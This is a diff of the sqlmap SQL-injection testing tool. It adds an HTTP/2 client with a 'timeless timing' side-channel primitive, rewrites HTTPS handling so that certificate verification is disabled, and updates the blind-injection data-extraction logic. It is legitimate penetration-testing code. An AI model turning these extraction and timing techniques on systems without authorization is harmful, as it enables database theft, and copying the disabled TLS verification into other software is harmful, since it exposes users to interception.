_connect_socket(host, port, proxy, timeout) + try: + raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # coalesced-pair writes must not be Nagle-buffered + except (OSError, socket.error): + pass + self.sock = ctx.wrap_socket(raw, server_hostname=host) + try: + if self.sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) + self.sock.settimeout(timeout) + # connection preface + client SETTINGS (disable server push + advertise a large per-stream window) + # + bump conn window. ENABLE_PUSH=0 keeps servers from opening pushed streams whose HPACK header + # block we would otherwise have to decode to keep the dynamic table in sync (skipping it desyncs + # the decoder and corrupts every later header) - this client has no use for pushed responses. + self.sock.sendall(CONNECTION_PREFACE) + self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HIHI", SETTINGS_ENABLE_PUSH, 0, SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + except Exception: + self.close() + raise + + def close(self): + self.usable = False + try: + self.sock.close() + except Exception: + pass + + def __del__(self): + self.close() + + def exchange(self, method, path, authority, headers, body, timeout): + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + + sid = self.next_sid + self.next_sid += 2 + if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this + self.usable = False + self.sock.settimeout(timeout) + + req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] + for k, v in (headers or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + hblock = Encoder().encode(req) + self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock)) + if body: + self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body))) + + header_block, resp_headers, resp_body, done = b"", None, bytearray(), False + while not done: + ftype, flags, fsid, payload = _read_frame(self.sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == PUSH_PROMISE: + self.usable = False # we advertised ENABLE_PUSH=0; a push would desync HPACK + raise _UnprocessedStream("unexpected PUSH_PROMISE despite SETTINGS_ENABLE_PUSH=0") + elif ftype == GOAWAY: + self.usable = False # server won't accept new streams -> retire connection + last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0 + if sid > last_sid: # our stream was not processed -> safe to retry fresh + raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid)) + elif ftype == RST_STREAM and fsid == sid: + self.usable = False + raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) + elif ftype in (HEADERS, CONTINUATION) and fsid == sid: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + header_block += p + if len(header_block) > MAX_RESPONSE_SIZE: # hostile/endless header block -> bail rather than OOM + self.usable = False + raise IOError("oversized HTTP/2 header block") + if flags & FLAG_END_HEADERS: + resp_headers = self.dec.decode(header_block) + if flags & FLAG_END_STREAM: + done = True + elif ftype == DATA and fsid == sid: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + resp_body += p + if len(resp_body) > MAX_RESPONSE_SIZE: # cap like the HTTP/1.1 path; stop reading and retire the + self.usable = False # connection (leftover frames abandoned) instead of OOM + break + if payload: # replenish stream + connection windows + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM: + done = True + status = None + for n, v in (resp_headers or []): + if _tob(n) == b":status": + status = int(v) + break + return status, resp_headers, bytes(resp_body) + + def exchange_pair(self, requests, timeout): + """Timeless-timing primitive (Van Goethem et al., USENIX Security 2020). Send TWO requests + multiplexed and COALESCED into a single TCP write, then read frames until BOTH streams reach + END_STREAM, recording the order in which they finished. Because both requests ride the same + packet on the same connection, network jitter hits them equally and cancels - only the server's + relative processing time decides which END_STREAM lands first, so a sub-millisecond server-side + delta is readable that absolute wall-clock timing (drowned by jitter) cannot resolve. + + `requests` is a 2-list of dicts {method, path, authority, headers, body}. Returns + (finish_order, results) where finish_order is the list of stream ids in completion order and + results maps sid -> (status, headers, body). Requires the server to process the two streams + CONCURRENTLY; a serializing front-proxy defeats it (callers must calibrate - see h2_timeless_probe).""" + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + self.sock.settimeout(timeout) + + sids, out = [], b"" + for r in requests: + sid = self.next_sid + self.next_sid += 2 + sids.append(sid) + req = [(b":method", _tob(r.get("method", "GET"))), (b":scheme", b"https"), + (b":path", _tob(r["path"])), (b":authority", _tob(r.get("authority") or self.host))] + for k, v in (r.get("headers") or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + body = r.get("body") + out += encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, Encoder().encode(req)) + if body: + out += encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)) + if self.next_sid >= BIG_WINDOW: + self.usable = False + self.sock.sendall(out) # THE crux: one write -> one TCP segment -> simultaneous arrival + + state = dict((sid, {"hb": b"", "headers": None, "body": bytearray()}) for sid in sids) + finish_order = [] + remaining = set(sids) + while remaining: + ftype, flags, fsid, payload = _read_frame(self.sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == PUSH_PROMISE: + self.usable = False # we advertised ENABLE_PUSH=0; a push would desync HPACK + raise _UnprocessedStream("unexpected PUSH_PROMISE despite SETTINGS_ENABLE_PUSH=0") + elif ftype == GOAWAY: + # Routine on a long-lived connection (server retires it after its per-connection request cap). + # The pair did not complete cleanly, so it must be re-sent on a fresh connection; flag it + # retry-safe (idempotent boolean read) rather than crashing the extraction. + self.usable = False + raise _UnprocessedStream("GOAWAY during timeless pair") + elif ftype == RST_STREAM and fsid in state: + self.usable = False + raise _UnprocessedStream("stream reset during timeless pair") + elif ftype in (HEADERS, CONTINUATION) and fsid in state: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + state[fsid]["hb"] += p + if len(state[fsid]["hb"]) > MAX_RESPONSE_SIZE: + self.usable = False + raise IOError("oversized HTTP/2 header block during timeless pair") + if flags & FLAG_END_HEADERS: + state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"]) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + elif ftype == DATA and fsid in state: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + state[fsid]["body"] += p + if len(state[fsid]["body"]) > MAX_RESPONSE_SIZE: # cap the buffered body (mirrors exchange()) + self.usable = False + raise IOError("oversized response during timeless pair") + if payload: + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + + results = {} + for sid in sids: + status = None + for n, v in (state[sid]["headers"] or []): + if _tob(n) == b":status": + status = int(v); break + results[sid] = (status, state[sid]["headers"], bytes(state[sid]["body"])) + return finish_order, results + + +# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model +# (one connection per host per thread) so streams never interleave across threads and time-based +# measurements stay clean. +_h2_pool = threading.local() + +def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout): + pool = getattr(_h2_pool, "connections", None) + if pool is None: + pool = _h2_pool.connections = {} + key = (host, port, proxy) + + conn = pool.get(key) + reused = conn is not None and conn.usable + if not reused: + if conn is not None: + conn.close() + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + + try: + result = conn.exchange(method, path, authority, headers, body, timeout) + except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh + conn.close(); pool.pop(key, None) + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + except (socket.error, ssl.SSLError, IOError): + conn.close(); pool.pop(key, None) + if reused: # stale keep-alive socket (server closed idle conn) -> reopen once + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + else: + raise + if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled + conn.close(); pool.pop(key, None) + return result + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + """One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path + goes through open_url -> the reusing pool).""" + conn = _H2Connection(host, port, proxy, timeout) + try: + return conn.exchange(method, path, authority or host, headers, body, timeout) + finally: + conn.close() + + +class H2Response(object): + """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()). + + >>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body') + >>> (r.code, r.msg, r.read() == b'body', r.geturl()) + (200, 'OK', True, 'https://x/') + >>> ':status' in r.info() + False + """ + + def __init__(self, url, status, headers, body): + self.url = url + self.code = self.status = status + self.msg = _HTTP_RESPONSES.get(status, "") + self.http_version = "HTTP/2.0" + self._body = body + self._offset = 0 + self._info = _Message() + for name, value in (headers or []): + name = name.decode("latin-1") if isinstance(name, bytes) else name + value = value.decode("latin-1") if isinstance(value, bytes) else value + if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.) + self._info[name] = value + # expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object + # uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a + # bare Message falls back to integer indexing) + self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()] + + def info(self): + return self._info + + def geturl(self): + return self.url + + def read(self, amt=None): + if amt is None: + data = self._body[self._offset:] + self._offset = len(self._body) + else: + data = self._body[self._offset:self._offset + amt] + self._offset += len(data) + return data + + def close(self): + pass + + +def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None): + """Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the + previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or + ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped.""" + forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length") + req_headers = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in forbidden: + req_headers[key] = headers[key] + + for _ in range(max_redirects + 1): + parts = urlsplit(url) + if parts.scheme != "https": + raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path, + parts.netloc.split("@")[-1], req_headers, body, timeout) + if follow_redirects and status in REDIRECT_CODES: + location = None + for name, value in (resp_headers or []): + if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location": + location = value.decode("latin-1") if isinstance(value, bytes) else value + break + if location: + url = urljoin(url, location) + if status in (301, 302, 303): # per RFC 7231, these degrade to GET + method, body = "GET", None + continue + return H2Response(url, status, resp_headers, resp_body) + + raise IOError("too many HTTP/2 redirects") diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 0ade4aca450..4e95c600677 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,18 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib +import re import socket -import urllib2 +from lib.core.common import filterNone from lib.core.common import getSafeExString +from lib.core.compat import LooseVersion +from lib.core.compat import xrange +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException +from lib.core.settings import PYVERSION +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib ssl = None try: @@ -21,17 +27,29 @@ except ImportError: pass -_protocols = filter(None, (getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))) +_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) +_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) +_contexts = {} -class HTTPSConnection(httplib.HTTPSConnection): +class HTTPSConnection(_http_client.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 + + NOTE: use https://check-tls.akamaized.net/ to check if (e.g.) TLS/SNI is working properly """ def __init__(self, *args, **kwargs): - httplib.HTTPSConnection.__init__(self, *args, **kwargs) + # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158 + if hasattr(ssl, "_create_default_https_context"): + if None not in _contexts: + _contexts[None] = ssl._create_default_https_context() + kwargs["context"] = _contexts[None] + + self.retrying = False + + _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): @@ -43,54 +61,93 @@ def create_sock(): success = False - if not kb.tlsSNI: - for protocol in _protocols: + # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext + # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni + if hasattr(ssl, "SSLContext"): + for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): + sock = None try: sock = create_sock() - _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) - if _: + if protocol not in _contexts: + _contexts[protocol] = ssl.SSLContext(protocol) + + # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT + _contexts[protocol].check_hostname = False + _contexts[protocol].verify_mode = ssl.CERT_NONE + + if getattr(self, "cert_file", None) and getattr(self, "key_file", None): + _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) + try: + # Reference(s): https://askubuntu.com/a/1263098 + # https://askubuntu.com/a/1250807 + # https://git.zknt.org/mirror/bazarr/commit/7f05f932ffb84ba8b9e5630b2adc34dbd77e2b4a?style=split&whitespace=show-all&show-outdated= + _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") + except (ssl.SSLError, AttributeError): + pass + + hostname = self.host + if conf.host: + hostname = conf.host + else: + for header, value in conf.httpHeaders: + if header.lower() == "host": + hostname = value + break + hostname = hostname if re.search(r"\A[\d.]+\Z", hostname or "") is None else None + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=hostname) + + if result: success = True - self.sock = _ + self.sock = result _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: + except (ssl.SSLError, socket.error, _http_client.BadStatusLine, AttributeError) as ex: self._tunnel_host = None - logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) + if sock: + sock.close() + logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) - # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext - # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni - if not success and hasattr(ssl, "SSLContext"): - for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): + elif hasattr(ssl, "wrap_socket"): + for protocol in _protocols: try: sock = create_sock() - context = ssl.SSLContext(protocol) - _ = context.wrap_socket(sock, do_handshake_on_connect=False, server_hostname=self.host) + _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) if _: - kb.tlsSNI = success = True + success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: + except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None - logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) + logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) if not success: - raise SqlmapConnectionException("can't establish SSL connection") - -class HTTPSHandler(urllib2.HTTPSHandler): - def https_open(self, req): - return self.do_open(HTTPSConnection if ssl else httplib.HTTPSConnection, req) - -# Bug fix (http://bugs.python.org/issue17849) + errMsg = "can't establish SSL connection" + # Reference: https://docs.python.org/2/library/ssl.html + if LooseVersion(PYVERSION) < LooseVersion("2.7.9"): + errMsg += " (please retry with Python >= 2.7.9)" + + if kb.sslSuccess and not self.retrying: + self.retrying = True + + for _ in xrange(conf.retries): + try: + self.connect() + except SqlmapConnectionException: + pass + else: + return -def _(self, *args): - return self._readline() + raise SqlmapConnectionException(errMsg) + else: + kb.sslSuccess = True -httplib.LineAndFileWrapper._readline = httplib.LineAndFileWrapper.readline -httplib.LineAndFileWrapper.readline = _ +class HTTPSHandler(_urllib.request.HTTPSHandler): + def https_open(self, req): + return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) diff --git a/lib/request/inject.py b/lib/request/inject.py index ecbf6538471..9389480ffd1 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,25 +1,38 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re +import threading import time from lib.core.agent import agent from lib.core.bigarray import BigArray +from lib.core.common import applyFunctionRecursively +from lib.core.common import dataToStdout +from lib.core.common import unArrayizeValue +from lib.core.datatype import AttribDict +from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue +from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers +from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import incrementCounter from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique +from lib.core.common import isDigit from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable @@ -28,11 +41,15 @@ from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.common import setTechnique from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.decorators import lockedmethod +from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS @@ -42,22 +59,31 @@ from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS +from lib.core.settings import IS_TTY +from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX +from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData +from lib.core.threads import runThreads +from lib.core.threads import setDaemon +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength +from lib.techniques.blind.inference import valueMatchCondition from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse +from thirdparty import six def _goDns(payload, expression): value = None - if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: + if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: if kb.dnsTest is None: dnsTest(payload) @@ -73,21 +99,33 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar value = _goDns(payload, expression) + if payload is None: + return None + if value is not None: return value - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) - if not (timeBasedCompare and kb.dnsTest): - if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): + if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: + msg = "multi-threading is considered unsafe in " + msg += "time-based data retrieval. Are you sure " + msg += "of your choice (breaking warranty) [y/N] " - if field and re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - expression = "SELECT %s FROM (%s)" % (field, expression) + kb.forceThreads = readInput(msg, default='N', boolean=True) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) + if not (timeBasedCompare and kb.dnsTest): + if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): + + if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): + alias = randomStr(lowercase=True, seed=hash(expression)) + expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example + expression += " AS %s" % alias + else: + expression = "SELECT %s FROM (%s)" % (field, expression) - if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): + if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (DBMS.RAIMA,): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: @@ -101,7 +139,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar kb.inferenceMode = False if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) return value @@ -136,14 +174,14 @@ def _goInferenceFields(expression, expressionFields, expressionFieldsList, paylo def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ - Retrieve the output of a SQL query characted by character taking - advantage of an blind SQL injection vulnerability on the affected + Retrieve the output of a SQL query character by character taking + advantage of a blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ - initTechnique(kb.technique) + initTechnique(getTechnique()) - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None @@ -156,7 +194,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) + rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] @@ -172,25 +210,24 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries - if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ - not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ - expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I) and hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query"): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: test = True - if not stopLimit or stopLimit <= 1: + if stopLimit is None or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: - # Count the number of SQL query entries output - countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] - countedExpression = expression.replace(expressionFields, countFirstField, 1) + # Count the number of SQL query entries output. NOTE: COUNT(*) (row count), not + # COUNT(<first field>) - the latter excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. dumping a single column whose value is NULL on some rows). + countField = queries[Backend.getIdentifiedDbms()].count.query % '*' + countedExpression = expression.replace(expressionFields, countField, 1) - if " ORDER BY " in expression.upper(): + if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] @@ -208,26 +245,26 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" - test = readInput(message, default="a") + choice = readInput(message, default='A').upper() - if not test or test[0] in ("a", "A"): + if choice == 'A': stopLimit = count - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException - elif test.isdigit() and int(test) > 0 and int(test) <= count: - stopLimit = int(test) + elif isDigit(choice) and int(choice) > 0 and int(choice) <= count: + stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) - elif test[0] in ("#", "s", "S"): + elif choice in ('#', 'S'): message = "how many? " stopLimit = readInput(message, default="10") - if not stopLimit.isdigit(): + if not isDigit(stopLimit): errMsg = "invalid choice" logger.error(errMsg) @@ -242,20 +279,20 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char return None - elif count and not count.isdigit(): + elif count and not isDigit(count): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -264,7 +301,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char try: try: - for num in xrange(startLimit, stopLimit): + for num in xrange(startLimit or 0, stopLimit or 0): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: @@ -273,9 +310,9 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char raise SqlmapDataException(errMsg) except KeyboardInterrupt: - print + print() warnMsg = "user aborted during dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) return outputs @@ -284,17 +321,17 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) - return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None + return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ - initTechnique(kb.technique) + initTechnique(getTechnique()) - if conf.dnsName: - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + if conf.dnsDomain: + query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) @@ -302,13 +339,13 @@ def _goBooleanProxy(expression): if output is not None: return output - vector = kb.injection.data[kb.technique].vector - vector = vector.replace("[INFERENCE]", expression) + vector = getTechniqueData().vector + vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) - timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) 